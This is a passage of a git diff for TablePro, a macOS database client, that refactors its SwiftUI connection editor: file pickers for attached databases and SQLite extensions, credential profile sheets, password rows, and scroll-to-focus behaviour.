{ return } + _ = model.add(paths: paths) + commit() + } + + // The entry keeps its name and its place; only the file it names changes. + private func changeFile(of id: UUID) async { + guard let entry = model.rows.first(where: { $0.id == id }) else { return } + let paths = await chooseFiles( + title: String(localized: "Change File"), + prompt: String(localized: "Choose"), + message: String(format: String(localized: "Choose the database file to attach as “%@”."), entry.name), + allowsMultipleSelection: false, + currentPath: entry.path + ) + guard let path = paths.first else { return } + model.setPath(path, for: id) + commit() + } + + private func chooseFiles( + title: String, + prompt: String, + message: String, + allowsMultipleSelection: Bool, + currentPath: String = "" + ) async -> [String] { let panel = NSOpenPanel() - let rule = DatabaseFileBrowseRule(type: store.draft.type, extensions: store.traits.fileExtensions) - let filter = PanelEnableFilter(isEnabled: rule.isEnabled) - panel.title = String(localized: "Attach Database") - panel.prompt = String(localized: "Attach") - panel.message = String(localized: "Choose the database files to attach each time this connection opens.") - panel.allowsMultipleSelection = true + let rule = DatabaseFileBrowseRule.forType(store.draft.type, extensions: store.traits.fileExtensions) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled, validate: rule.validate) + panel.title = title + panel.prompt = prompt + panel.message = message + panel.allowsMultipleSelection = allowsMultipleSelection panel.canChooseDirectories = false + panel.directoryURL = DatabaseFileLocation(path: currentPath).existingFolder panel.delegate = filter - let response: NSApplication.ModalResponse - if let window = EditorFilePanel.window(for: store) { - response = await panel.presentAsSheet(for: window) - } else { - response = await panel.begin() - } + let response = await EditorFilePanel.present(panel, in: EditorFilePanel.window(for: store)) withExtendedLifetime(filter) {} - guard response == .OK else { return } - _ = model.add(paths: panel.urls.map { $0.path(percentEncoded: false) }) - commit() + guard response == .OK else { return [] } + return panel.urls.map { $0.path(percentEncoded: false) } } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift index f82288acde..50ae3f80a5 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift @@ -15,36 +15,31 @@ struct AdvancedExtensionRows: View { var body: some View { ForEach(Array(model.rows.enumerated()), id: \.element.id) { index, entry in + let fileName = (entry.path as NSString).lastPathComponent AdvancedListEntry( - primaryTitle: String(localized: "File"), - secondaryTitle: String(localized: "Entry Point"), + path: entry.path, notice: LoadableExtensionFileIssue.issue(forPath: entry.path)?.message, - actionsLabel: String( - format: String(localized: "Actions for %@"), - (entry.path as NSString).lastPathComponent - ), + actionsLabel: String(format: String(localized: "Actions for %@"), fileName), + identifier: "connection-extension-\(index)", canMoveUp: index > 0, canMoveDown: index < model.rows.count - 1, onMove: { offset in move(entry.id, by: offset) }, + onChangeFile: { Task { await changeFile(of: entry.id) } }, onRemove: { remove(entry.id) } ) { - TextField( - String(localized: "Extension File"), - text: pathBinding(for: entry.id), - prompt: Text(verbatim: "/opt/homebrew/lib/mod_spatialite.dylib") - ) - .labelsHidden() - .textFieldStyle(.roundedBorder) - .focused($focusedEntry, equals: entry.id) - } secondary: { + Text(verbatim: fileName) + } value: { TextField( String(localized: "Entry Point"), text: entryPointBinding(for: entry.id), prompt: Text(String(localized: "Default entry point")) ) .labelsHidden() - .textFieldStyle(.roundedBorder) + .autocorrectionDisabled() + .frame(minWidth: 0, idealWidth: 140, maxWidth: .infinity) + .focused($focusedEntry, equals: entry.id) .help(String(localized: "The initialization function to call. Leave empty to use the one SQLite derives from the file name.")) + .accessibilityIdentifier("connection-extension-\(index)-entry-point") } } @@ -54,7 +49,7 @@ struct AdvancedExtensionRows: View { LabeledContent { Button(String(localized: "Add Extension…")) { - Task { await chooseFiles() } + Task { await add() } } .accessibilityIdentifier("connection-extensions-add") } label: { @@ -63,6 +58,8 @@ struct AdvancedExtensionRows: View { } else if model.rows.isEmpty { Text(String(localized: "No Extensions")) .foregroundStyle(.secondary) + } else { + Text("^[\(model.rows.count) Extension](inflect: true)") } } .onAppear(perform: reload) @@ -70,16 +67,6 @@ struct AdvancedExtensionRows: View { .onEditorFocusRequest(row, store: store) { focusedEntry = model.rows.first?.id } } - private func pathBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.path ?? "" }, - set: { newValue in - model.setPath(newValue, for: id) - commit() - } - ) - } - private func entryPointBinding(for id: UUID) -> Binding { Binding( get: { model.rows.first { $0.id == id }?.entryPoint ?? "" }, @@ -115,27 +102,55 @@ struct AdvancedExtensionRows: View { commit() } - private func chooseFiles() async { + private func add() async { + let paths = await chooseFiles( + title: String(localized: "Add Extension"), + prompt: String(localized: "Add"), + message: String(localized: "Choose the SQLite extension libraries to load when this connection opens."), + allowsMultipleSelection: true + ) + guard !paths.isEmpty else { return } + _ = model.add(paths: paths) + commit() + } + + // The entry keeps its entry point and its place; only the library it loads changes. + private func changeFile(of id: UUID) async { + guard let entry = model.rows.first(where: { $0.id == id }) else { return } + let paths = await chooseFiles( + title: String(localized: "Change File"), + prompt: String(localized: "Choose"), + message: String(localized: "Choose the SQLite extension library to load in its place."), + allowsMultipleSelection: false, + currentPath: entry.path + ) + guard let path = paths.first else { return } + model.setPath(path, for: id) + commit() + } + + private func chooseFiles( + title: String, + prompt: String, + message: String, + allowsMultipleSelection: Bool, + currentPath: String = "" + ) async -> [String] { let panel = NSOpenPanel() let validator = AdvancedExtensionPanelValidator() - panel.title = String(localized: "Add Extension") - panel.prompt = String(localized: "Add") - panel.message = String(localized: "Choose the SQLite extension libraries to load when this connection opens.") - panel.allowsMultipleSelection = true + panel.title = title + panel.prompt = prompt + panel.message = message + panel.allowsMultipleSelection = allowsMultipleSelection panel.canChooseDirectories = false panel.resolvesAliases = false panel.allowedContentTypes = AdvancedExtensionPanelValidator.contentTypes + panel.directoryURL = DatabaseFileLocation(path: currentPath).existingFolder panel.delegate = validator - let response: NSApplication.ModalResponse - if let window = EditorFilePanel.window(for: store) { - response = await panel.presentAsSheet(for: window) - } else { - response = await panel.begin() - } + let response = await EditorFilePanel.present(panel, in: EditorFilePanel.window(for: store)) withExtendedLifetime(validator) {} - guard response == .OK else { return } - _ = model.add(paths: panel.urls.map { $0.path(percentEncoded: false) }) - commit() + guard response == .OK else { return [] } + return panel.urls.map { $0.path(percentEncoded: false) } } } @@ -155,7 +170,7 @@ private final class AdvancedExtensionPanelValidator: NSObject, NSOpenSavePanelDe code: NSFileReadCorruptFileError, userInfo: [ NSLocalizedDescriptionKey: String( - format: String(localized: "\"%@\" is not a library."), + format: String(localized: "“%@” isn’t a library."), url.lastPathComponent ) ] diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift index 6d87239c0d..a07e6f2390 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift @@ -11,6 +11,7 @@ struct AdvancedFacetView: View { Section { ForEach(section.rows, id: \.self) { row in rowView(row) + .id(row) } } header: { if let title = section.title { @@ -24,6 +25,7 @@ struct AdvancedFacetView: View { } } .formStyle(.grouped) + .scrollsToEditorFocus(.advanced, store: store) } private var sections: [SectionLayout] { @@ -73,25 +75,12 @@ struct AdvancedFacetView: View { .accessibilityIdentifier(row.accessibilityIdentifier) .editorRowFocus(row, store: store) case .plugin(let fieldID): - pluginRow(fieldID) + PluginFieldRow(fieldID: fieldID, store: store) default: EmptyView() } } - // A list's entries are rows of its section, never a List nested in the form. - @ViewBuilder - private func pluginRow(_ fieldID: String) -> some View { - switch store.pluginFieldKind(fieldID) { - case .attachedDatabases?: - AdvancedAttachedDatabaseRows(fieldID: fieldID, store: store) - case .loadableExtensions?: - AdvancedExtensionRows(fieldID: fieldID, store: store) - default: - PluginFieldRow(fieldID: fieldID, store: store) - } - } - private func footer(for section: SectionLayout) -> String? { guard section.rows.contains(.builtIn(.localOnly)), store.removesSyncedSecretsOnSave else { return section.footer diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift index 6254ffe095..ee6fec5b4a 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift @@ -1,37 +1,34 @@ import SwiftUI -// A List nested in a grouped Form does not scroll, so each entry of an ordered list is a row of its section. -struct AdvancedListEntry: View { - let primaryTitle: String - let secondaryTitle: String +// One entry of an ordered list as one row of its section, since a List nested in a grouped Form does not scroll: its +// title, the file's path under it, an optional value, and its commands in a trailing menu. +struct AdvancedListEntry: View { + let path: String let notice: String? let actionsLabel: String + let identifier: String let canMoveUp: Bool let canMoveDown: Bool let onMove: (Int) -> Void + let onChangeFile: () -> Void let onRemove: () -> Void - @ViewBuilder let primary: () -> Primary - @ViewBuilder let secondary: () -> Secondary + @ViewBuilder let title: () -> Title + @ViewBuilder let value: () -> Value var body: some View { - Grid(alignment: .leading, horizontalSpacing: 8, verticalSpacing: 8) { - GridRow { - Text(verbatim: primaryTitle) - .gridColumnAlignment(.trailing) - primary() + LabeledContent { + HStack(spacing: 8) { + value() actions } - GridRow { - Text(verbatim: secondaryTitle) - secondary() - Color.clear.gridCellUnsizedAxes([.horizontal, .vertical]) - } + } label: { + title() + Text(verbatim: (path as NSString).abbreviatingWithTildeInPath) + .lineLimit(1) + .truncationMode(.middle) + .help(path) if let notice { - GridRow { - Color.clear.gridCellUnsizedAxes([.horizontal, .vertical]) - NoticeLabel(notice) - .gridCellColumns(2) - } + NoticeLabel(notice) } } .accessibilityElement(children: .contain) @@ -47,18 +44,26 @@ struct AdvancedListEntry: View { private var actions: some View { Menu { + Button(String(localized: "Change File…"), action: onChangeFile) + .accessibilityIdentifier("\(identifier)-change-file") + Divider() Button(String(localized: "Move Up")) { onMove(-1) } .disabled(!canMoveUp) + .accessibilityIdentifier("\(identifier)-move-up") Button(String(localized: "Move Down")) { onMove(1) } .disabled(!canMoveDown) + .accessibilityIdentifier("\(identifier)-move-down") Divider() - Button(String(localized: "Remove"), action: onRemove) + Button(String(localized: "Remove"), role: .destructive, action: onRemove) + .accessibilityIdentifier("\(identifier)-remove") } label: { Image(systemName: "ellipsis.circle") } .menuStyle(.borderlessButton) .menuIndicator(.hidden) .fixedSize() + .help(String(localized: "Actions")) .accessibilityLabel(actionsLabel) + .accessibilityIdentifier("\(identifier)-actions") } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift index 10983e5bba..b6a51a32a7 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift @@ -20,6 +20,7 @@ struct AppearanceFacetView: View { Section { ForEach(section.rows, id: \.self) { row in rowView(row) + .id(row) } } header: { if let title = section.title { @@ -34,6 +35,7 @@ struct AppearanceFacetView: View { } } .formStyle(.grouped) + .scrollsToEditorFocus(.appearance, store: store) } @ViewBuilder diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift index de642e036e..22338b59e8 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift @@ -8,18 +8,33 @@ import SwiftUI import TableProPluginKit // The pop-up carries the profile commands as its last items, as a Team or printer pop-up does, so the row keeps -// one control and no button lands on a line of its own. +// one control and no button lands on a line of its own. The commands and their order match SSH Profile's. struct GeneralCredentialsRows: View { @ObservedObject var store: ConnectionEditorStore @State private var pickerGeneration = 0 + @State private var profileSheet: ProfileSheet? private enum Choice: Hashable { case mode(CredentialMode) case saveAsProfile + case editProfile + case newProfile case manageProfiles } + private enum ProfileSheet: Identifiable { + case create + case edit(CredentialProfile) + + var id: String { + switch self { + case .create: return "create" + case .edit(let profile): return "edit-\(profile.id.uuidString)" + } + } + } + private var row: EditorRow { .builtIn(.credentialProfile) } var body: some View { @@ -77,12 +92,35 @@ struct GeneralCredentialsRows: View { if canSaveAsProfile { Text(String(localized: "Save These as a Profile…")).tag(Choice.saveAsProfile) } + if store.selectedCredentialProfile != nil { + Text(String(localized: "Edit Profile…")).tag(Choice.editProfile) + } + Text(String(localized: "New Profile…")).tag(Choice.newProfile) Text(String(localized: "Manage Profiles…")).tag(Choice.manageProfiles) } label: { EditorRowLabel(String(localized: "Credentials"), row: row, store: store) } .id(pickerGeneration) .accessibilityIdentifier(row.accessibilityIdentifier) + .sheet(item: $profileSheet) { sheet in + profileEditor(sheet) + } + } + + // The store links a profile made here, as it does one saved from these values; an edit or a delete reaches it as + // a profiles change. + @ViewBuilder + private func profileEditor(_ sheet: ProfileSheet) -> some View { + switch sheet { + case .create: + CredentialProfileEditorSheet( + existingProfile: nil, + initialDatabaseType: store.draft.type, + onSave: { store.didSaveCredentialProfile($0) } + ) + case .edit(let profile): + CredentialProfileEditorSheet(existingProfile: profile, initialDatabaseType: store.draft.type) + } } private var canSaveAsProfile: Bool { @@ -101,6 +139,14 @@ struct GeneralCredentialsRows: View { case .saveAsProfile: pickerGeneration += 1 store.isSavingCredentialsAsProfile = true + case .editProfile: + pickerGeneration += 1 + if let profile = store.selectedCredentialProfile { + profileSheet = .edit(profile) + } + case .newProfile: + pickerGeneration += 1 + profileSheet = .create case .manageProfiles: pickerGeneration += 1 WindowOpener.shared.openSettings(tab: .profiles) @@ -120,7 +166,7 @@ private func passwordTitle(_ store: ConnectionEditorStore) -> String { store.traits.connectionMode == .apiOnly ? String(localized: "API Token") : String(localized: "Password") } -// The password and where it is kept share one row, so "Password" labels it once. +// The field takes the row's width; where the password is kept is the row above it, and Ask Every Time drops the field. struct GeneralPasswordRow: View { @ObservedObject var store: ConnectionEditorStore @@ -137,6 +183,7 @@ struct GeneralPasswordRow: View { HStack(spacing: 8) { field(title: title) .labelsHidden() + .frame(minWidth: 0, idealWidth: 200, maxWidth: .infinity) .focused($isFocused) .accessibilityIdentifier(BuiltInRow.password.accessibilityIdentifier) @@ -149,15 +196,11 @@ struct GeneralPasswordRow: View { .help(revealTitle) .accessibilityLabel(revealTitle) .accessibilityIdentifier("connection-form-password-reveal") - - GeneralPasswordStoragePicker(store: store, title: title) - .labelsHidden() - .fixedSize() } } label: { EditorRowLabel(title, row: .builtIn(.password), store: store) } - .editorRowFocus(.builtIn(.password), .builtIn(.passwordMode), store: store, isFocused: $isFocused) + .editorRowFocus(.builtIn(.password), store: store, isFocused: $isFocused) } private var revealTitle: String { @@ -186,7 +229,7 @@ struct GeneralPasswordRow: View { } } -// Without a password field (Ask Every Time, or a source set in connections.json) the choice is the row. +// Where the password is kept, or with a source set in connections.json whether TablePro asks for it instead. struct GeneralPasswordModeRow: View { @ObservedObject var store: ConnectionEditorStore @@ -204,7 +247,7 @@ struct GeneralPasswordModeRow: View { .accessibilityIdentifier(BuiltInRow.passwordMode.accessibilityIdentifier) .editorRowFocus(.builtIn(.passwordMode), store: store) } else { - GeneralPasswordStoragePicker(store: store, title: passwordTitle(store)) + GeneralPasswordStoragePicker(store: store) .editorRowFocus(.builtIn(.passwordMode), store: store) } } @@ -212,11 +255,14 @@ struct GeneralPasswordModeRow: View { struct GeneralPasswordStoragePicker: View { @ObservedObject var store: ConnectionEditorStore - let title: String + + private var title: String { + store.traits.connectionMode == .apiOnly ? String(localized: "Save API Token") : String(localized: "Save Password") + } var body: some View { Picker(selection: store.tracking(store.passwordPromptBinding, row: .builtIn(.passwordMode))) { - Text(String(localized: "Store in Keychain")).tag(false) + Text(String(localized: "In Keychain")).tag(false) Text(String(localized: "Ask Every Time")).tag(true) } label: { EditorRowLabel(title, row: .builtIn(.passwordMode), store: store) diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift index 1c2862b9b3..6f2e9211cc 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift @@ -18,8 +18,10 @@ struct GeneralTypeRow: View { identityColor: store.draft.appearance.color.isDefault ? nil : store.draft.appearance.color, size: 22 ) + // A new identity per type: the row's accessibility value kept the first type's name after a retype. Text(verbatim: store.traits.displayName) .foregroundStyle(.primary) + .id(store.draft.type) Button(String(localized: "Change…")) { store.isChoosingType = true } @@ -28,6 +30,7 @@ struct GeneralTypeRow: View { } label: { EditorRowLabel(String(localized: "Type"), row: .builtIn(.type), store: store) } + .accessibilityValue(Text(verbatim: store.traits.displayName)) .editorRowFocus(.builtIn(.type), store: store) } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift index e059fc6935..06381c8498 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift @@ -23,6 +23,7 @@ struct GeneralFacetView: View { Section { ForEach(section.rows, id: \.self) { row in rowView(row, in: section) + .id(row) } } header: { if let title = section.title { @@ -40,6 +41,7 @@ struct GeneralFacetView: View { } } .formStyle(.grouped) + .scrollsToEditorFocus(.general, store: store) .onAppear { store.placeInitialFocusIfNeeded() } .onChange(of: store.pastedURLNotice?.id) { id in guard id != nil else { return } @@ -71,6 +73,7 @@ struct GeneralFacetView: View { switch row { case .plugin(let fieldID): PluginFieldRow(fieldID: fieldID, store: store, title: pluginTitle(fieldID, in: section)) + .disabled(store.isDisabled(row)) case .builtIn(let builtIn): builtInRow(builtIn, in: section) } @@ -102,9 +105,9 @@ struct GeneralFacetView: View { case .endpointKind: Picker(selection: store.tracking(store.endpointBinding, row: .builtIn(.endpointKind))) { Text(String(localized: "Host and Port")).tag(ConnectionDraft.Endpoint.hostAndPort) - Text(String(localized: "Socket")).tag(ConnectionDraft.Endpoint.localSocket) + Text(String(localized: "Unix Socket")).tag(ConnectionDraft.Endpoint.localSocket) } label: { - EditorRowLabel(String(localized: "Connect Using"), row: .builtIn(.endpointKind), store: store) + EditorRowLabel(String(localized: "Address"), row: .builtIn(.endpointKind), store: store) } .accessibilityIdentifier(BuiltInRow.endpointKind.accessibilityIdentifier) .editorRowFocus(.builtIn(.endpointKind), store: store) @@ -118,7 +121,7 @@ struct GeneralFacetView: View { row: .builtIn(.host), store: store ) - .disabled(store.hostAndPortAreUnused) + .disabled(store.isDisabled(.builtIn(.host))) if let notice = store.pastedURLNotice { GeneralPastedURLNoticeRow(notice: notice, store: store) } @@ -130,7 +133,7 @@ struct GeneralFacetView: View { row: .builtIn(.port), store: store ) - .disabled(store.hostAndPortAreUnused) + .disabled(store.isDisabled(.builtIn(.port))) case .portTLSNotice: if let notice = store.portTLSNotice { GeneralPortTLSNoticeRow(notice: notice, store: store) @@ -145,6 +148,7 @@ struct GeneralFacetView: View { chooseIdentifier: "connection-form-file-browse", newIdentifier: "connection-form-file-new" ) + .disabled(store.isDisabled(.builtIn(.databaseFile))) case .database: EditorTextRow( store.traits.containerEntityName, @@ -165,15 +169,9 @@ struct GeneralFacetView: View { case .passwordSource: GeneralPasswordSourceRows(store: store) case .passwordMode: - if section.rows.contains(.builtIn(.password)) { - GeneralPasswordRow(store: store) - } else { - GeneralPasswordModeRow(store: store) - } + GeneralPasswordModeRow(store: store) case .password: - if !section.rows.contains(.builtIn(.passwordMode)) { - GeneralPasswordRow(store: store) - } + GeneralPasswordRow(store: store) case .kerberosNote: GeneralKerberosNote(store: store) case .pgpassStatus: diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift index bde2a9afd6..109e86e0d0 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift @@ -5,6 +5,7 @@ import AppKit import SwiftUI +import TableProTheme enum EditorCodeLanguage { case sql @@ -49,7 +50,8 @@ struct EditorCodeEditor: View { } } - // The card is the only frame: prose sits on it, code sits in a well like CodeWell, on the editor's colors. + // The card is the only frame: the text sits on it, and code wears the editor's background only while the theme + // sets one, as CodeWell does. @ViewBuilder private var editor: some View { let field = TextValueEditor( @@ -58,15 +60,13 @@ struct EditorCodeEditor: View { borderType: .noBorder, movesFocusOnTab: true, style: language == .plain ? .plain : .code, - drawsBackground: language != .plain + drawsBackground: false ) .accessibilityIdentifier(row.accessibilityIdentifier) if language == .plain { field } else { - field - .clipShape(Self.wellShape) - .overlay(Self.wellShape.stroke(Color(nsColor: .separatorColor), lineWidth: 1)) + field.themeBackground(.editorBackground, native: Color.clear, in: Self.wellShape) } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift index aa6eb5f417..7c91ed0376 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift @@ -44,6 +44,7 @@ struct EditorPathRow: View { } .labelsHidden() .autocorrectionDisabled() + .editorPathField(path) .focused($isFocused) .accessibilityIdentifier(row.accessibilityIdentifier) @@ -106,6 +107,7 @@ struct EditorDatabaseFileRow: View { } .labelsHidden() .autocorrectionDisabled() + .editorPathField(path) .focused($isFocused) .accessibilityIdentifier(row.accessibilityIdentifier) @@ -153,13 +155,37 @@ struct EditorDatabaseFileRow: View { } } -// Open panels for the editor's path rows, as sheets on the editor window. +extension View { + // A long path keeps its file name in sight: the middle gives way, the tooltip has it whole, and the ideal width + // keeps the row on one line where the path's own width would stack the label above it. + func editorPathField(_ path: String) -> some View { + truncationMode(.middle) + .frame(minWidth: 0, idealWidth: 200, maxWidth: .infinity) + .help(path) + } +} + +// Open and save panels for the editor's path rows. @MainActor enum EditorFilePanel { static func window(for store: ConnectionEditorStore) -> NSWindow? { store.window ?? NSApp.keyWindow } + // A sheet wider than its window hangs past both edges. The panel is narrowed first, but no further than its own + // minimum, which for an open panel (833 pt with the sidebar on macOS 27, measured) is wider than the 780 pt + // editor, so a panel that still does not fit runs app-modal on its own, keeping the editor waiting as a sheet would. + static func present(_ panel: NSSavePanel, in window: NSWindow?) async -> NSApplication.ModalResponse { + guard let window else { return await panel.begin() } + let available = window.frame.width + if panel.frame.width > available { + let height = panel.contentRect(forFrameRect: panel.frame).height + panel.setContentSize(NSSize(width: available, height: height)) + } + guard panel.frame.width <= available else { return panel.runModal() } + return await panel.presentAsSheet(for: window) + } + static func chooseFile( in window: NSWindow?, message: String? = nil, @@ -179,13 +205,7 @@ enum EditorFilePanel { let expanded = (trimmed as NSString).expandingTildeInPath panel.directoryURL = URL(fileURLWithPath: expanded).deletingLastPathComponent() } - let response: NSApplication.ModalResponse - if let window { - response = await panel.presentAsSheet(for: window) - } else { - response = await panel.begin() - } - guard response == .OK, let url = panel.url else { return nil } + guard await present(panel, in: window) == .OK, let url = panel.url else { return nil } return url.path(percentEncoded: false) } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift index f9580275f7..7daeb22c68 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift @@ -26,6 +26,36 @@ extension View { func onEditorFocusRequest(_ row: EditorRow, store: ConnectionEditorStore, perform: @escaping @MainActor () -> Void) -> some View { modifier(EditorFocusRequestModifier(rows: [row], store: store, perform: perform)) } + + // On a facet's Form, whose rows carry `.id(row)`: a Form builds the rows it shows, so the requested one is + // scrolled to first and takes the focus once it is built. + func scrollsToEditorFocus(_ facet: ConnectionFacet, store: ConnectionEditorStore) -> some View { + modifier(EditorFacetScrollModifier(facet: facet, store: store)) + } +} + +private struct EditorFacetScrollModifier: ViewModifier { + let facet: ConnectionFacet + @ObservedObject var store: ConnectionEditorStore + + @State private var handledToken: UUID? + + func body(content: Content) -> some View { + ScrollViewReader { proxy in + content + .onAppear { scroll(proxy, to: store.focusRequest) } + .onChange(of: store.focusRequest) { scroll(proxy, to: $0) } + } + } + + // Deferred a turn, as the focus is: a facet built for this request is not laid out yet when it lands. + private func scroll(_ proxy: ScrollViewProxy, to request: FocusRequest?) { + guard let request, request.facet == facet, request.token != handledToken else { return } + handledToken = request.token + DispatchQueue.main.async { + proxy.scrollTo(request.row) + } + } } private struct EditorFocusRequestModifier: ViewModifier { @@ -48,6 +78,11 @@ private struct EditorFocusRequestModifier: ViewModifier { DispatchQueue.main.async { perform() store.didApplyFocus(request) + // SwiftUI moves the focus on its next update and never scrolls to it, so a field below the fold of a row + // already on screen would take the keyboard out of sight. + DispatchQueue.main.async { + EditorRowFocusTarget.revealFirstResponder(in: store.window) + } } } } @@ -88,6 +123,22 @@ final class EditorRowFocusTarget { DispatchQueue.main.async { [weak self] in self?.focus() } } + static func revealFirstResponder(in window: NSWindow?) { + guard let responder = window?.firstResponder as? NSView else { return } + let shown: NSView + if let textView = responder as? NSTextView { + if textView.isFieldEditor, let field = textView.delegate as? NSView { + shown = field + } else { + // A code editor scrolls inside itself; its frame is what the form scrolls to. + shown = textView.enclosingScrollView ?? textView + } + } else { + shown = responder + } + shown.scrollToVisible(shown.bounds) + } + // Text input first, in reading order; a control only when the row has no text input. static func firstFocusableView(inside anchor: NSView, of window: NSWindow) -> NSView? { guard let root = window.contentView else { return nil } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift index a8f875d5af..b8972cd171 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift @@ -85,13 +85,9 @@ struct PluginFieldRow: View { } .editorRowFocus(row, store: store) case .attachedDatabases: - listEditor { - AttachedDatabaseListEditor(value: trackingEdits(value), databaseType: store.draft.type) - } + AdvancedAttachedDatabaseRows(fieldID: fieldID, store: store) case .loadableExtensions: - listEditor { - LoadableExtensionListEditor(value: trackingEdits(value)) - } + AdvancedExtensionRows(fieldID: fieldID, store: store) case .localDatabaseFile: EditorDatabaseFileRow( name, @@ -126,17 +122,6 @@ struct PluginFieldRow: View { EditorRowLabel(title ?? field.label, row: row, store: store) } - // A list is the whole row, titled by its section header, so its issue sits under it in the same row. - private func listEditor(@ViewBuilder _ editor: () -> Editor) -> some View { - VStack(alignment: .leading, spacing: 6) { - editor() - .accessibilityElement(children: .contain) - .accessibilityIdentifier(row.accessibilityIdentifier) - EditorRowIssueNotice(row: row, store: store) - } - .editorRowFocus(row, store: store) - } - private func trackingEdits(_ binding: Binding) -> Binding { Binding( get: { binding.wrappedValue }, diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift index 152b9e13e0..9d099ebb1b 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift @@ -19,6 +19,7 @@ struct SSHAndProxiesFacetView: View { } } .formStyle(.grouped) + .scrollsToEditorFocus(.sshAndProxies, store: store) } } @@ -50,6 +51,7 @@ private struct SSHAndProxiesSectionView: View { Section { ForEach(inlineRows, id: \.self) { row in SSHAndProxiesRowView(row: row, store: store) + .id(row) } } header: { if let headerTitle { @@ -63,6 +65,7 @@ private struct SSHAndProxiesSectionView: View { if let standaloneRow { Section { SSHAndProxiesRowView(row: standaloneRow, store: store) + .id(standaloneRow) } header: { Text(String(localized: "Service Account Key")) } footer: { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift index 1ba9530374..0487552556 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift @@ -6,7 +6,7 @@ import SwiftUI import TableProSSHConfig -// One Section per hop, so two hops never read as one card. +// What jump hosts are leads, then one card per hop, so two hops never read as one card. struct SSHAndProxiesJumpHostSections: View { let rows: [EditorRow] @ObservedObject var store: ConnectionEditorStore @@ -20,12 +20,11 @@ struct SSHAndProxiesJumpHostSections: View { var body: some View { let ids = hopIDs - ForEach(Array(ids.enumerated()), id: \.element) { index, id in - SSHAndProxiesJumpHostSection(id: id, index: index, count: ids.count, store: store) - } if rows.contains(.builtIn(.addJumpHost)) { Section { - SSHAndProxiesAddJumpHostRow(store: store) + SSHAndProxiesAddJumpHostRow(hopCount: ids.count, store: store) + } header: { + Text(String(localized: "Jump Hosts")) } footer: { Text(String(localized: """ TablePro connects through the jump hosts in order, then the SSH server. \ @@ -33,6 +32,9 @@ struct SSHAndProxiesJumpHostSections: View { """)) } } + ForEach(Array(ids.enumerated()), id: \.element) { index, id in + SSHAndProxiesJumpHostSection(id: id, index: index, count: ids.count, store: store) + } } } @@ -48,8 +50,19 @@ private struct SSHAndProxiesJumpHostSection: View { private var identifier: String { 